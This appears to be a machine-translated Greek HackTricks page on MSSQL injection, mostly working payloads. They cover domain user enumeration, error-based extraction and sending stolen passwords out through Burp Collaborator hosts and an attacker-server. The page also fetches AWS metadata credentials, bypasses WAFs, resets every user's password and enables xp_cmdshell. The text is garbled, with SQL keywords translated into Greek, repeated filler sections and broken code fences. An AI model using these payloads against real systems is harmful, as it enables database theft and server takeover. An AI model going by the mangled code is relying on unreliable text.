MSSQL Injection

MSSQL Εισαγωγή

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Απαρίθμηση Active Directory

Είναι δυνατόν να απαριθμήσετε τους χρήστες του domain μέσω SQL injection εντός ενός MSSQL server χρησιμοποιώντας τις παρακάτω συναρτήσεις MSSQL:

  • SELECT DEFAULT_DOMAIN(): Πάρτε το τρέχον όνομα του domain.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Εάν γνωρίζετε το όνομα του domain (DOMAIN σε αυτό το παράδειγμα), αυτή η συνάρτηση θα επιστρέψει το SID του χρήστη Administrator σε μορφή hex. Αυτό θα μοιάζει με 0x01050000000[...]0000f401, παρατηρήστε πώς τα τελευταία 4 bytes είναι το νούμερο 500 σε μορφή big endian, το οποίο είναι το κοινό ID του χρήστη administrator. Αυτή η συνάρτηση θα σας επιτρέψει να μάθετε το ID του domain (όλα τα bytes εκτός από τα τελευταία 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Αυτή η συνάρτηση θα επιστρέψει το όνομα χρήστη του καθορισμένου ID (εάν υπάρχει), σε αυτή την περίπτωση 0000e803 σε μορφή big endian == 1000 (συνήθως αυτό είναι το ID του πρώτου κανονικού χρήστη που δημιουργήθηκε). Έπειτα μπορείτε να φανταστείτε ότι μπορείτε να δοκιμάσετε με βία τα IDs χρηστών από 1000 έως 2000 και πιθανότατα να πάρετε όλα τα ονόματα χρηστών του domain. Για παράδειγμα, χρησιμοποιώντας μια συνάρτηση όπως η παρακάτω:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Εναλλακτικές μέθοδοι βασισμένες σε σφάλματα

Οι SQL επιθέσεις βασισμένες σε σφάλματα συνήθως παρουσιάζουν κατασκευές όπως +AND+1=@@version-- και παραλλαγές που βασίζονται στον τελεστή «OR». Οι ερωτήματα που περιέχουν τέτοιες εκφράσεις συνήθως αποκλείονται από τα WAFs. Για να παρακάμψετε αυτό, συνδυάστε ένα συμβολοσειριακό χαρακτήρα χρησιμοποιώντας τον χαρακτήρα %2b με το αποτέλεσμα συγκεκριμένων κλήσεων συναρτήσεων που προκαλούν σφάλμα μετατροπής τύπου δεδομένων στα επιθυμητά δεδομένα.

Ορισμένα παραδείγματα τέτοιων συναρτήσεων:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Παράδειγμα χρήσης της συνάρτησης USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Αυτά τα κόλπα SSRF προήλθαν από εδώ

fn_xe_file_target_read_file

Απαιτεί δικαιώματα VIEW SERVER STATE στον διακομιστή.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Απαιτεί την άδεια CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Απαιτεί την άδεια CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Οι αποθηκευμένες διαδικασίες όπως η xp_dirtree, αν και δεν έχουν τεκμηριωθεί επίσημα από τη Microsoft, έχουν περιγραφεί από άλλους σε απευθείας σύνδεση λόγω της χρησιμότητάς τους στις λειτουργίες δικτύου εντός του MSSQL. Αυτές οι διαδικασίες χρησιμοποιούνται συχνά για την εξαγωγή δεδομένων εκτός ζώνης, όπως φαίνεται σε διάφορα παραδείγματα και άρθρα.

Για παράδειγμα, η αποθηκευμένη διαδικασία xp_dirtree χρησιμοποιείται για να πραγματοποιήσει αιτήσεις δικτύου, αλλά περιορίζεται μόνο στη θύρα TCP 445. Ο αριθμός θύρας δεν είναι τροποποιήσιμος, αλλά επιτρέπει την ανάγνωση από κοινόχρηστους φακέλους δικτύου. Η χρήση απεικονίζεται στον παρακάτω κώδικα SQL:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Είναι αξιοσημείωτο ότι αυτή η μέθοδος μπορεί να μην λειτουργεί σε όλες τις ρυθμίσεις συστήματος, όπως σε Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) που εκτελείται σε Windows Server 2016 Datacenter με τις προεπιλεγμένες ρυθμίσεις.

Επιπλέον, υπάρχουν εναλλακτικές αποθηκευμένες διαδικασίες όπως η master..xp_fileexist και η xp_subdirs που μπορούν να επιτύχουν παρόμοια αποτελέσματα. Περισσότερες λεπτομέρειες για την xp_fileexist μπορούν να βρεθούν σε αυτό το άρθρο του TechNet.

xp_cmdshell

Φυσικά, μπορείτε επίσης να χρησιμοποιήσετε την xp_cmdshell για να εκτελέσετε κάτι που θα προκαλέσει ένα SSRF. Για περισσότερες πληροφορίες, διαβάστε τη σχετική ενότητα στη σελίδα:

page1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL Ορισμένη από τον χρήστη Συνάρτηση - SQLHttp

Η δημιουργία μιας CLR UDF (Common Language Runtime User Defined Function), η οποία είναι κώδικας που έχει γραφτεί σε οποιαδήποτε γλώσσα .NET και έχει μεταγλωττιστεί σε ένα DLL, για να φορτωθεί μέσα στο MSSQL για την εκτέλεση προσαρμοσμένων λειτουργιών, είναι ένας διαδικασία που απαιτεί πρόσβαση dbo. Αυτό σημαίνει ότι συνήθως είναι εφικτό μόνο όταν η σύνδεση στη βάση δεδομένων γίνεται ως sa ή με έναν ρόλο Διαχειριστή.

Ένα έργο Visual Studio και οδηγίες εγκατάστασης παρέχονται στο αποθετήριο Github αυτό για να διευκολύνουν τη φόρτωση του δυαδικού αρχείου στο MSSQL ως CLR συλλογή, επιτρέποντας έτσι την εκτέλεση αιτημάτων HTTP GET από το εσωτερικό του MSSQL.

Η καρδιά αυτής της λειτουργικότητας είναι ενσωματωμένη στο αρχείο http.cs, το οποίο χρησιμοποιεί την κλάση WebClient για να εκτελέσει ένα αίτημα GET και να ανακτήσει περιεχόμενο, όπως φαίνεται παρακάτω:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Πριν εκτελέσετε την εντολή SQL CREATE ASSEMBLY, συνίσταται να εκτελέσετε το ακόλουθο απόσπασμα SQL για να προσθέσετε το SHA512 hash της συναρμολόγησης στη λίστα των εμπιστευμένων συναρμολογήσεων του διακομιστή (προβλέψιμο μέσω select * from sys.trusted_assemblies;).

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Αφού προστεθεί με επιτυχία η συλλογή και δημιουργηθεί η συνάρτηση, μπορεί να χρησιμοποιηθεί ο παρακάτω κώδικας SQL για να πραγματοποιηθούν αιτήσεις HTTP:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Γρήγορη Εκμετάλλευση: Ανάκτηση Περιεχομένου Ολόκληρου Πίνακα με Μία Ερώτηση

Κόλπος από εδώ.

Μια συνοπτική μέθοδος για την ανάκτηση του πλήρους περιεχομένου ενός πίνακα με μία ερώτηση περιλαμβάνει τη χρήση της δήλωσης FOR JSON. Αυτή η προσέγγιση είναι πιο συνοπτική από τη χρήση της δήλωσης FOR XML, η οποία απαιτεί ένα συγκεκριμένο mode όπως το "raw". Η δήλωση FOR JSON προτιμάται για τη συντομία της.

Παρακάτω παρουσιάζεται πώς να ανακτήσετε το σχήμα, τους πίνακες και τις στήλες από την τρέχουσα βάση δεδομένων:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
# MSSQL Injection

## Εισαγωγή

Η εισαγωγή SQL (SQL Injection) είναι μια ευρέως γνωστή ευπάθεια ασφαλείας που επιτρέπει σε επιτιθέμενους να εκτελέσουν κακόβουλες εντολές SQL σε μια εφαρμογή βάσης δεδομένων. Αυτό μπορεί να οδηγήσει σε αποκάλυψη ευαίσθητων πληροφοριών, τροποποίηση δεδομένων ή ακόμα και στην πλήρη κατάληψη του συστήματος.

## Επίθεση MSSQL Injection

Η επίθεση MSSQL Injection συμβαίνει όταν ο επιτιθέμενος εισάγει κακόβουλο SQL κώδικα σε μια εφαρμογή που χρησιμοποιεί τη Microsoft SQL Server ως βάση δεδομένων. Ο επιτιθέμενος εκμεταλλεύεται την αδυναμία της εφαρμογής να επεξεργαστεί σωστά τις εισαγόμενες τιμές, επιτρέποντάς του να εκτελέσει κακόβουλες εντολές SQL.

## Εκμετάλλευση MSSQL Injection

Για να εκμεταλλευτείτε μια ευπάθεια MSSQL Injection, μπορείτε να εισάγετε κακόβουλο SQL κώδικα σε μια παράμετρο εισόδου της εφαρμογής. Ο κακόβουλος κώδικας θα εκτελεστεί από τη βάση δεδομένων, παρέχοντάς σας πρόσβαση και έλεγχο στα δεδομένα.

Ένα παράδειγμα εκμετάλλευσης MSSQL Injection είναι η εισαγωγή του παρακάτω κώδικα στην παράμετρο εισόδου:

1' AND 1=(SELECT CONCAT_WS(0x3a, table_schema, table_name, column_name) FROM information_schema.columns FOR JSON AUTO)--


Αυτός ο κώδικας θα επιστρέψει τα ονόματα των σχημάτων, των πινάκων και των στηλών της βάσης δεδομένων, χρησιμοποιώντας τη συνάρτηση `CONCAT_WS` για να τα συνδέσει μεταξύ τους χρησιμοποιώντας τον χαρακτήρα `:`. Η εντολή `FOR JSON AUTO` μετατρέπει τα αποτελέσματα σε μορφή JSON.

Με την εκτέλεση αυτού του κώδικα, μπορείτε να ανακτήσετε πληροφορίες για τη βάση δεδομένων και να προχωρήσετε σε περαιτέρω επιθέσεις.

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

Σε αυτό το παράδειγμα URL, η παράμετρος "id" έχει μια ευπάθεια SQL Injection. Μπορούμε να εκμεταλλευτούμε αυτήν την ευπάθεια για να ανακτήσουμε πληροφορίες από τη βάση δεδομένων MSSQL.

Η εντολή "union select null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null" εισάγεται μετά το "id=-1" για να εκτελέσει μια εναλλακτική επιλογή SQL. Αυτή η εντολή ανακτά το κείμενο των εκτελούμενων SQL ερωτημάτων από τον πίνακα sys.dm_exec_requests και τον πίνακα sys.dm_exec_sql_text.

Με αυτόν τον τρόπο, μπορούμε να ανακτήσουμε ευαίσθητες πληροφορίες από τη βάση δεδομένων MSSQL μέσω της ευπάθειας SQL Injection.

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
ΕΠΙΛΕΞΤΕ * ΑΠΟ fn_my_permissions(NULL, 'SERVER') ΟΠΟΥ permission_name='VIEW SERVER STATE';

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

MSSQL Injection

Εισαγωγή

Η εισαγωγή SQL (Structured Query Language) είναι μια ευρέως γνωστή επίθεση που συμβαίνει όταν ο εισαγωγέας δεδομένων δεν επικυρώνει σωστά τις εισαγωγές του χρήστη και επιτρέπει στον επιτιθέμενο να εκτελέσει κακόβουλες SQL εντολές. Αυτό μπορεί να οδηγήσει σε αποκάλυψη ευαίσθητων πληροφοριών, τροποποίηση βάσης δεδομένων ή ακόμη και πλήρη παράκαμψη της εφαρμογής.

Επίθεση MSSQL Injection

Η επίθεση MSSQL Injection συμβαίνει όταν ο επιτιθέμενος εκμεταλλεύεται μια ευπάθεια σε μια εφαρμογή που χρησιμοποιεί τη Microsoft SQL Server ως βάση δεδομένων. Ο επιτιθέμενος εισάγει κακόβουλο SQL κώδικα μέσω των εισαγωγικών πεδίων της εφαρμογής, με σκοπό να εκτελέσει εντολές που δεν έχουν εξουσιοδοτηθεί.

Ένα παράδειγμα επίθεσης MSSQL Injection είναι η παρακάτω URL:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Σε αυτό το παράδειγμα, ο επιτιθέμενος προσπαθεί να εκτελέσει μια εντολή UNION SELECT για να ανακτήσει την έκδοση της βάσης δεδομένων. Ο κακόβουλος κώδικας εισάγεται μέσω της παραμέτρου "id" και το "--" χρησιμοποιείται για να αγνοηθεί ο υπόλοιπος κώδικας της εφαρμογής.

Προστασία από MSSQL Injection

Για να προστατευτείτε από επιθέσεις MSSQL Injection, πρέπει να εφαρμόσετε τις εξής προφυλάξεις:

  • Χρησιμοποιήστε παραμετροποίηση ερωτημάτων (parameterized queries) ή προετοιμασμένες δηλώσεις (prepared statements) για την εκτέλεση SQL ερωτημάτων.

  • Επικυρώστε και φιλτράρετε τις εισαγωγές του χρήστη πριν τις χρησιμοποιήσετε σε SQL ερωτήματα.

  • Χρησιμοποιήστε την αρχή της αρχής του λιγότερου προνομίου (principle of least privilege) για τα δικαιώματα πρόσβασης στη βάση δεδομένων.

  • Ενημερώστε την εφαρμογή και το λογισμικό της βάσης δεδομένων σας με τις τελευταίες ενημερώσεις και διορθώσεις ασφαλείας.

Ακολουθώντας αυτές τις προφυλάξεις, μπορείτε να μειώσετε σημαντικά τον κίνδυνο επίθεσης MSSQL Injection στην εφαρμογή σας.


Scientific (0e) and hex (0x) notation for obfuscating UNION:

MSSQL Injection

Union-Based SQL Injection

Basic Union-Based SQL Injection

The basic union-based SQL injection technique can be used to extract information from a vulnerable MSSQL database. By injecting a UNION SELECT statement into the vulnerable parameter, it is possible to retrieve data from other database tables.

The following are examples of union-based SQL injection payloads:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

To perform a union-based SQL injection attack, the injection point must be identified and the number of columns in the SELECT statement must be determined. By using the UNION SELECT statement, it is possible to retrieve data from other tables in the database.

Greek Translation

MSSQL Εισαγωγή

Εισαγωγή με βάση την Ένωση SQL

Βασική Εισαγωγή με βάση την Ένωση SQL

Η βασική τεχνική εισαγωγής με βάση την Ένωση SQL μπορεί να χρησιμοποιηθεί για την εξαγωγή πληροφοριών από μια ευπαθή βάση δεδομένων MSSQL. Με την εισαγωγή μιας δήλωσης UNION SELECT στην ευπαθή παράμετρο, είναι δυνατή η ανάκτηση δεδομένων από άλλους πίνακες της βάσης δεδομένων.

Τα παρακάτω είναι παραδείγματα φορτίων εισαγωγής με βάση την Ένωση SQL:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

Για να πραγματοποιηθεί μια επίθεση εισαγωγής με βάση την Ένωση SQL, πρέπει να εντοπιστεί το σημείο εισαγωγής και να προσδιοριστεί ο αριθμός των στηλών στη δήλωση SELECT. Χρησιμοποιώντας τη δήλωση UNION SELECT, είναι δυνατή η ανάκτηση δεδομένων από άλλους πίνακες της βάσης δεδομένων.


A period instead of a whitespace between FROM and a column name:

MSSQL Injection

Εισαγωγή

Η εισαγωγή SQL (Structured Query Language) είναι μια ευρέως γνωστή επίθεση που στοχεύει σε ευπαθείς εφαρμογές που χρησιμοποιούν βάσεις δεδομένων MSSQL. Αυτή η επίθεση επιτρέπει στον εισβολέα να εκτελέσει κακόβουλες SQL εντολές στη βάση δεδομένων, παρακάμπτοντας την αυθεντικοποίηση και αποκτώντας μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητες πληροφορίες.

Εκμετάλλευση MSSQL Injection

Για να εκμεταλλευτείτε μια ευπάθεια MSSQL Injection, μπορείτε να χρησιμοποιήσετε την εξής μορφή επίθεσης:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

Σε αυτό το παράδειγμα, η επίθεση εκτελεί μια εντολή UNION SELECT για να ανακτήσει την έκδοση της MSSQL βάσης δεδομένων. Η εντολή UNION SELECT συνδυάζει τα αποτελέσματα δύο ερωτημάτων SQL σε ένα αποτέλεσμα. Στην περίπτωση αυτή, το πρώτο ερώτημα επιστρέφει NULL, η δεύτερη επιστρέφει την έκδοση της MSSQL και το τρίτο επιστρέφει ξανά NULL. Το from.users χρησιμοποιείται για να προσπελάσει τον πίνακα "users" στη βάση δεδομένων.

Με αυτόν τον τρόπο, ο εισβολέας μπορεί να ανακτήσει πληροφορίες όπως ονόματα χρηστών, κωδικούς πρόσβασης και άλλα ευαίσθητα δεδομένα από τη βάση δεδομένων MSSQL.

Προστασία από MSSQL Injection

Για να προστατευτείτε από επιθέσεις MSSQL Injection, πρέπει να εφαρμόσετε τις εξής προφυλάξεις:

  • Χρησιμοποιήστε παραμετροποιημένα ερωτήματα SQL για να αποτρέψετε την εκτέλεση κακόβουλων εντολών.

  • Επιβεβαιώστε την είσοδο του χρήστη πριν την εκτέλεση εντολών SQL.

  • Περιορίστε τα δικαιώματα πρόσβασης του χρήστη στη βάση δεδομένων, προσδιορίζοντας αυστηρά τα προνόμια που χρειάζεται για την εφαρμογή.

  • Ενημερώστε την MSSQL βάση δεδομένων σας με τις τελευταίες ενημερώσεις και διορθώσεις ασφαλείας.

Ακολουθώντας αυτές τις βασικές προφυλάξεις, μπορείτε να μειώσετε τον κίνδυνο επιθέσεων MSSQL Injection και να προστατεύσετε την εφαρμογή σας από παραβιάσεις ασφαλείας.


\N separator between SELECT and a throwaway column:

MSSQL Injection

Εισαγωγή

Η εισαγωγή SQL (Structured Query Language) είναι μια ευρέως γνωστή επίθεση που στοχεύει στην εκμετάλλευση των ευπαθειών των εφαρμογών που χρησιμοποιούν βάσεις δεδομένων MSSQL. Με τη χρήση αυτής της επίθεσης, ο εισβολέας μπορεί να εκτελέσει κακόβουλες εντολές SQL στη βάση δεδομένων, προκαλώντας ποικίλες επιπτώσεις, όπως αποκάλυψη ευαίσθητων πληροφοριών, τροποποίηση δεδομένων ή ακόμη και πλήρης κατάληψη του συστήματος.

Εκμετάλλευση MSSQL Injection

Για να εκμεταλλευτείτε μια ευπάθεια MSSQL Injection, πρέπει να εντοπίσετε ένα σημείο εισαγωγής SQL στην εφαρμογή. Ένα από τα συνηθέστερα σημεία εισαγωγής είναι οι παράμετροι των URL. Ας υποθέσουμε ότι έχουμε τον παρακάτω κωδικό URL:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

Σε αυτό το παράδειγμα, η παράμετρος id φαίνεται να είναι ευάλωτη σε επίθεση MSSQL Injection. Ο εισβολέας μπορεί να εκμεταλλευτεί αυτήν την ευπάθεια για να εκτελέσει κακόβουλες εντολές SQL.

Εκτέλεση Κακόβουλων Εντολών SQL

Για να εκτελέσετε κακόβουλες εντολές SQL, πρέπει να εισαγάγετε τον κατάλληλο κώδικα SQL στην παράμετρο id. Στο παράδειγμα μας, ο εισβολέας χρησιμοποιεί την εντολή UNION SELECT για να ανακτήσει πληροφορίες από τον πίνακα users. Η εντολή @@version επιστρέφει την έκδοση της βάσης δεδομένων MSSQL.

Ο κατάλληλος κώδικας SQL για το παράδειγμα μας είναι ο εξής:

0xunion+select\Nnull,@@version,null+from+users--

Μετά την εκτέλεση της επίθεσης, ο εισβολέας θα λάβει την έκδοση της βάσης δεδομένων MSSQL από την απόκριση του διακομιστή.

Προστασία από MSSQL Injection

Για να προστατευτείτε από επιθέσεις MSSQL Injection, πρέπει να εφαρμόσετε τις παρακάτω προφυλάξεις:

  • Χρησιμοποιήστε παραμετροποίηση ερωτημάτων (query parameterization) για να αποτρέψετε την εκτέλεση κακόβουλων εντολών SQL.

  • Επιβεβαιώστε την είσοδο του χρήστη και εφαρμόστε αποτρεπτικούς ελέγχους για να αποφύγετε την εισαγωγή κακόβουλου κώδικα SQL.

  • Ενημερώστε την MSSQL βάση δεδομένων σας στην τελευταία έκδοση και εφαρμόστε τις απαραίτητες ενημερώσεις ασφαλείας.

Ακολουθώντας αυτές τις προφυλάξεις, μπορείτε να μειώσετε σημαντικά τον κίνδυνο επίθεσης MSSQL Injection στην εφαρμογή σας.


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
```sql
ΕΠΙΛΕΞΤΕ 'α' ΕΠΙΛΕΞΤΕ 'β'

So for example, multiple queries such as:

```sql
```sql
χρήση [tempdb]
δημιουργία πίνακα [test] ([id] int)
εισαγωγή [test] τιμών(1)
επιλογή [id] από [test]
απαλοιφή πίνακα [test]

Can be reduced to:

```sql
```sql
Χρήση [tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

Προσθήκη άχρηστης exec() στο τέλος και καθιστώντας το WAF να πιστέψει ότι αυτό δεν είναι έγκυρο ερώτημα

admina'union select 1,'admin','testtest123'exec('select 1')--

Αυτό θα γίνει:

SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'

Χρήση περίεργα κατασκευασμένων ερωτημάτων

admin'exec('update[users]set[password]=''a''')--

Αυτό θα γίνει:

SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'

Ή ενεργοποίηση του xp_cmdshell

admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Αυτό θα γίνει:

select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'


## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Last updated